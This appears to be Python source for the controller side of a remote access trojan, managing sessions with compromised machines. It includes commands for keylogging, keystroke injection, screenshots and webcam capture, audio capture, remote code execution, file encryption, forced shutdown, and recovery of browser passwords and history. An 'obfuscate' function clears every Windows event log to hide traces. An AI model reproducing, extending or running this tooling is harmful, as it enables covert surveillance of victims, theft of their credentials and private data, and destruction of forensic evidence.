def session_message(message, piped_data=True, loading_text='loading...'):
data = session_wait((state['session']['socket'], message, True),
loading_text)
text_mode = validate_dict_key(data, 'text_mode')
text_extras = validate_dict_key(data, 'text_extras')
if state['options']['information-gathering']['backup']['text']:
make_file(['backup', 'backup/text'], 'txt',
bytes(data['message'], state['settings']['encoding']))
if state['options']['information-gathering']['backup']['image']:
make_image(['backup', 'backup/image'], text_to_image(data['message']),
False)
if piped_data:
if text_mode is None:
status_message(data['message'], 'pure')
else:
if text_extras:
status_message(data['message'], text_mode, text_extras)
else:
status_message(data['message'], text_mode)
else:
return data
def interpreter(message):
execute = validate_dict_key(message, 'execute')
script = validate_dict_key(message, 'script')
quiet = validate_dict_key(message, 'quiet')
assert execute or script
if script:
parent_folder = state['settings']['folders']['parent']
child_folder = state['settings']['folders']['child'][1]
message['execute'] = read_file(
f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(
state['settings']['encoding'])
del message['script']
if quiet:
del message['quiet']
data = session_message(message, False)
result = validate_dict_key(data, 'result')
if result:
if quiet is None:
status_message(data['result'], 'pure', {'end': True})
print()
make_file(['interpreter'], 'txt',
bytes(data['result'], state['settings']['encoding']),
data['message'])
else:
status_message(data['message'], data['text_mode'])
def image(message):
monitor = validate_dict_key(message, 'monitor')
screenshot = validate_dict_key(message, 'screenshot')
cam = validate_dict_key(message, 'cam')
assert screenshot or cam
if monitor is None:
message['monitor'] = 0
else:
message['monitor'] = int(monitor)
if screenshot:
message['image_type'] = True
del message['screenshot']
image_type = 'screenshot'
else:
message['image_type'] = False
del message['cam']
image_type = 'cam-screenshot'
data = session_message(message, False)
if data['screenshot']:
make_image(['image', f'image/{image_type}'],
data['screenshot'],
success_message=data['message'],
image_type=message['image_type'])
def cam(data):
ip = validate_dict_key(data, 'ip')
port = validate_dict_key(data, 'port')
unbind = validate_dict_key(data, 'unbind')
resolution = validate_dict_key(data, 'resolution')
monitor = validate_dict_key(data, 'monitor')
close = validate_dict_key(data, 'close')
status = validate_dict_key(data, 'status')
fps = validate_dict_key(data, 'fps')
fit = validate_dict_key(data, 'fit')
recognize = validate_dict_key(data, 'recognize')
if resolution:
assert state['session']['active']
if ip and port:
data['ip'], data['port'] = ip, int(port)
else:
data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname()
if monitor:
data['monitor'] = int(monitor)
else:
data['monitor'] = 0
if fps is None:
data['fps'] = False
if fit:
del data['fit']
if recognize:
del data['recognize']
del data['resolution']
threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start()
session_message(data)
elif ip and port:
if state['sockets']['modules']['cam'][0] is None:
bind_socket(ip, port, 'cam')
else:
ip, port = state['sockets']['modules']['cam'][0].getsockname()
status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True})
elif unbind:
if state['sockets']['modules']['cam'][0]:
unbind_socket('cam')
else:
status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning')
elif close:
close_client(close, 'cam')
elif status:
if state['sockets']['modules']['cam'][0]:
ip, port = state['sockets']['modules']['cam'][0].getsockname()
status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary')
else:
status_message('You are not listening for clients (cam module)', 'warning')
else:
raise Exception('Error message')
def options(message):
key = validate_dict_key(message, 'key')
value = validate_dict_key(message, 'value')
available = validate_dict_key(message, 'available')
if key and value:
key_list = key.split('/')
key_len = len(key_list)
assert key in options_list[0]
value = validate_option(value,
options_list[1][options_list[0].index(key)])
if key_len == 2:
state['options'][key_list[0]][key_list[1]] = value
elif key_len == 3:
state['options'][key_list[0]][key_list[1]][key_list[2]] = value
elif key_len == 4:
state['options'][key_list[0]][key_list[1]][key_list[2]][
key_list[3]] = value
else:
raise Exception('Key length is invalid')
status_message(f'Option: {key} is now set to {value}', 'success')
elif available:
options = state['options']
categories = ['mode', 'validation', 'information-gathering', 'notice']
for categorie in categories:
option_category = options[categorie]
status_message(f'{categorie.capitalize()}:', 'magenta', {
'end': True,
'point': 'empty'
})
for key, value in option_category.items():
if 'dict' in str(type(value)):
status_message(f'- {key.capitalize()}:', 'magenta', {
'end': True,
'point': 'empty'
})
for key_2, value_2 in value.items():
status_message(
f' - {key_2.capitalize()}: {value_2}',
'pure', {'end': True})
else:
status_message(f' - {key.capitalize()}: {value}',
'pure', {'end': True})
print()
status_message(None, 'program')
else:
raise Exception('Error message')
def delete(message):
index = validate_dict_key(message, 'index')
if index:
delete_client(int(index))
else:
raise Exception('Error message')
def encrypt(message):
assert message['file']
decrypt = validate_dict_key(message, 'decrypt')
if decrypt is None:
message['decrypt'] = False
session_message(message)
def keystroke(message):
inject = validate_dict_key(message, 'inject', False)
script = validate_dict_key(message, 'script', False)
if inject:
message['inject'] = inject.strip().split(';')
elif script:
parent_folder = state['settings']['folders']['parent']
child_folder = '{}/{}'.format(state['settings']['folders']['child'][1],
state['settings']['folders']['child'][3])
message['inject'] = read_file(
f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(
state['settings']['encoding']).strip().split('\r\n')
del message['script']
else:
raise Exception('Error message')
session_message(message)
def obfuscate(message):
logs = validate_dict_key(message, 'logs')
if logs:
message[
'message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"'
del message['logs']
session_message(message)
else:
raise Exception('Error message')
def messagebox(message):
title = validate_dict_key(message, 'title', False)
text = validate_dict_key(message, 'text', False)
style = validate_dict_key(message, 'style')
if title and text:
if style == 'info':
message['style'] = 64
elif style == 'cross':
message['style'] = 16
elif style == 'question':
message['style'] = 32
elif style == 'warning':
message['style'] = 48
else:
message['style'] = 64
session_message(message)
else:
raise Exception('Error message')
def func_wrapper(*args):
try:
number_of_arguments = len(args)
if number_of_arguments == 1:
func(args[0])
elif number_of_arguments == 2:
func(args[0], args[1])
elif number_of_arguments == 3:
func(args[0], args[1], args[2])
elif number_of_arguments == 4:
func(args[0], args[1], args[2], args[3])
elif number_of_arguments == 5:
func(args[0], args[1], args[2], args[3], args[4])
elif number_of_arguments == 6:
func(args[0], args[1], args[2], args[3], args[4], args[5])
elif number_of_arguments == 7:
func(args[0], args[1], args[2], args[3], args[4], args[5],
args[6])
except Exception as err:
write_error(err)
if state['session']['active'] and func.__name__ in [
*state['sockets']['modules']
]:
func_key = validate_dict_key(help_obj, f'{func.__name__}_2',
False)
elif func.__name__ == 'listening':
func_key = validate_dict_key(help_obj, 'listen', False)
else:
func_key = validate_dict_key(help_obj, func.__name__, False)
if func_key:
status_message(
f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}',
'danger')
else:
status_message(
'Exception was reached, something went wrong\nPlease validate your input & try again',
'danger')
def server(message):
ip = validate_dict_key(message, 'ip')
port = validate_dict_key(message, 'port')
status = validate_dict_key(message, 'status')
unbind = validate_dict_key(message, 'unbind')
if port and ip:
if state['sockets']['server'] is None:
threading.Thread(target=listening, args=(ip, port),
daemon=True).start()
else:
ip, port = state['sockets']['server'].getsockname()
status_message(
f'You are already listening for clients on {ip}:{port}',
'danger', {'dots': True})
elif status:
if state['sockets']['server']:
ip, port = state['sockets']['server'].getsockname()
status_message(f'You are listening for clients on {ip}:{port}',
'primary')
else:
status_message('You are not listening for clients', 'warning')
elif unbind:
if state['sockets']['server']:
state['sockets']['server'].close()
state['sockets']['server'] = None
for index, client in enumerate(state['sockets']['clients'][0]):
delete_client(index, False)
status_message(
'You\'re no longer listening for clients\nServer socket is now closed',
'success')
else:
status_message(
f'You\'re not listening for clients\nThere is no server socket to close',
'warning')
else:
raise Exception('Error message')
def system(message):
shutdown = validate_dict_key(message, 'shutdown')
restart = validate_dict_key(message, 'restart')
logout = validate_dict_key(message, 'logout')
standby = validate_dict_key(message, 'standby')
if shutdown:
message['action_type'] = 'shutdown'
del message['shutdown']
elif restart:
message['action_type'] = 'restart'
del message['restart']
elif logout:
message['action_type'] = 'logout'
del message['logout']
elif standby:
message['action_type'] = 'standby'
del message['standby']
else:
raise Exception('Error message')
session_message(message)
def audio(data):
ip = validate_dict_key(data, 'ip')
port = validate_dict_key(data, 'port')
run = validate_dict_key(data, 'run')
quiet = validate_dict_key(data, 'quiet')
unbind = validate_dict_key(data, 'unbind')
close = validate_dict_key(data, 'close')
status = validate_dict_key(data, 'status')
if run:
assert state['session']['active']
if ip and port:
data['ip'], data['port'] = ip, int(port)
else:
data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname()
if quiet:
del data['quiet']
del data['run']
threading.Thread(target=audio_action, args=(quiet,), daemon=True).start()
session_message(data)
elif ip and port:
if state['sockets']['modules']['audio'][0] is None:
bind_socket(ip, port, 'audio')
else:
ip, port = state['sockets']['modules']['audio'][0].getsockname()
status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True})
elif unbind:
if state['sockets']['modules']['audio'][0]:
unbind_socket('audio')
else:
status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning')
elif close:
close_client(close, 'audio')
elif status:
if state['sockets']['modules']['audio'][0]:
ip, port = state['sockets']['modules']['audio'][0].getsockname()
status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary')
else:
status_message('You are not listening for clients (audio module)', 'warning')
else:
raise Exception('Error message')
def keylogger(message):
run = validate_dict_key(message, 'run')
download = validate_dict_key(message, 'download')
close = validate_dict_key(message, 'close')
status = validate_dict_key(message, 'status')
quiet = validate_dict_key(message, 'quiet')
if run:
message['action_type'] = 'run'
del message['run']
session_message(message)
elif download:
message['action_type'] = 'download'
del message['download']
data = session_message(message, False)
logs = validate_dict_key(data, 'logs')
if logs:
if quiet is None:
status_message(logs.decode(state['settings']['encoding']),
'raw')
print()
make_file(['keylogger'], 'txt', logs, data['message'])
else:
status_message(data['message'], data['text_mode'])
elif close:
message['action_type'] = 'close'
del message['close']
session_message(message)
elif status:
message['action_type'] = 'status'
del message['status']
session_message(message)
else:
raise Exception('Error message')
def status_message(data, status, options={}):
dots = validate_dict_key(options, 'dots')
exclamation_point = validate_dict_key(options, 'point')
end = validate_dict_key(options, 'end')
custom = validate_dict_key(options, 'custom')
session = state['session']['active']
username = state['session']['username']
name = state['name']
end_result = ''
if status == 'raw':
print(f'{Fore.CYAN}{data}{Style.RESET_ALL}')
return
try:
messages = [x for x in data.split('\n') if x != '']
except:
messages = [None]
if exclamation_point == 'empty':
exclamation_point = ''
elif exclamation_point == 'dot':
exclamation_point = '.'
elif exclamation_point:
exclamation_point = '!'
elif status == 'success':
exclamation_point = '!'
else:
exclamation_point = '.'
if dots:
dots = '..'
else:
dots = ''
if end:
end_result = ''
else:
end_result = f'\n{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}'
if custom:
custom = f'\b{custom}'
else:
custom = ''
if session:
if end:
end_result = ''
else:
end_result = f'\n{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}'
for index, message in enumerate(messages):
if index == 0 and session and state['settings']['loading']:
print(' ' * 25, end='\r')
if status == 'success':
print(
f'{Fore.GREEN}[{Style.RESET_ALL}+{custom}{Fore.GREEN}]{Style.RESET_ALL} {Fore.GREEN}{message}{exclamation_point}{dots}{Style.RESET_ALL}'
)
elif status == 'danger':
print(
f'{Fore.RED}[{Style.RESET_ALL}-{custom}{Fore.RED}]{Style.RESET_ALL} {Fore.RED}{message}{exclamation_point}{dots}{Style.RESET_ALL}'
)
elif status == 'warning':
print(
f'{Fore.YELLOW}[{Style.RESET_ALL}!{custom}{Fore.YELLOW}]{Style.RESET_ALL} {Fore.YELLOW}{message}{exclamation_point}{dots}{Style.RESET_ALL}'
)
elif status == 'primary':
print(
f'{Fore.BLUE}[{Style.RESET_ALL}i{custom}{Fore.BLUE}]{Style.RESET_ALL} {Fore.BLUE}{message}{exclamation_point}{dots}{Style.RESET_ALL}'
)
elif status == 'magenta':
print(
f'{Fore.MAGENTA}[{Style.RESET_ALL}i{custom}{Fore.MAGENTA}]{Style.RESET_ALL} {Fore.MAGENTA}{message}{exclamation_point}{dots}{Style.RESET_ALL}'
)
elif status == 'pure':
print(f'{Fore.CYAN}{message}{Style.RESET_ALL}')
elif status == 'loading':
print(f'{Fore.CYAN}{message}{Style.RESET_ALL}',
end='\r',
flush=True)
elif status == 'program':
if session:
print(
f'{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}',
end='')
else:
print(
f'{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}',
end='')
else:
raise Exception('Invalid color selection')
if index == (len(messages) - 1) and status != 'program':
print(end=end_result)
def recover(message):
password = validate_dict_key(message, 'password')
history = validate_dict_key(message, 'history')
quiet = validate_dict_key(message, 'quiet')
force = validate_dict_key(message, 'force')
if force is None:
message['force'] = False
if password:
del message['password']
message['action_type'] = 'password'
if quiet:
del message['quiet']
data = session_message(message, False)
if quiet is None:
text = [x for x in data['message'].split('\n') if x != '']
count = 0
for line in text:
if line[:3] == '[+]':
print()
status_message(line[4:], 'success', {
'end': True,
'point': 'empty'
})
elif line[:3] == '[-]':
print()
status_message(line[4:], 'danger', {
'end': True,
'point': 'empty'
})
elif line[:19] == '-------------------':
if count != 0: print()
count += 1
status_message(line, 'raw')
else:
status_message(line, 'raw')
print()
make_file(['recover', 'recover/password'], 'txt',
bytes(data['message'], 'utf-8'),
'Passwords succesfully recovered')
elif history:
del message['history']
message['action_type'] = 'history'
if quiet:
del message['quiet']
data = session_message(message, False)
if quiet is None:
for browser, browser_data in data['message'].items():
browser = browser.capitalize()
for link, title, date in browser_data:
status_message(f'{browser}: {link}, {title}, {date}',
'pure', {'end': True})
print()
make_history(['recover', 'recover/history'], 'csv', data['message'],
'Browser history succesfully recovered')
else:
raise Exception('Error message')
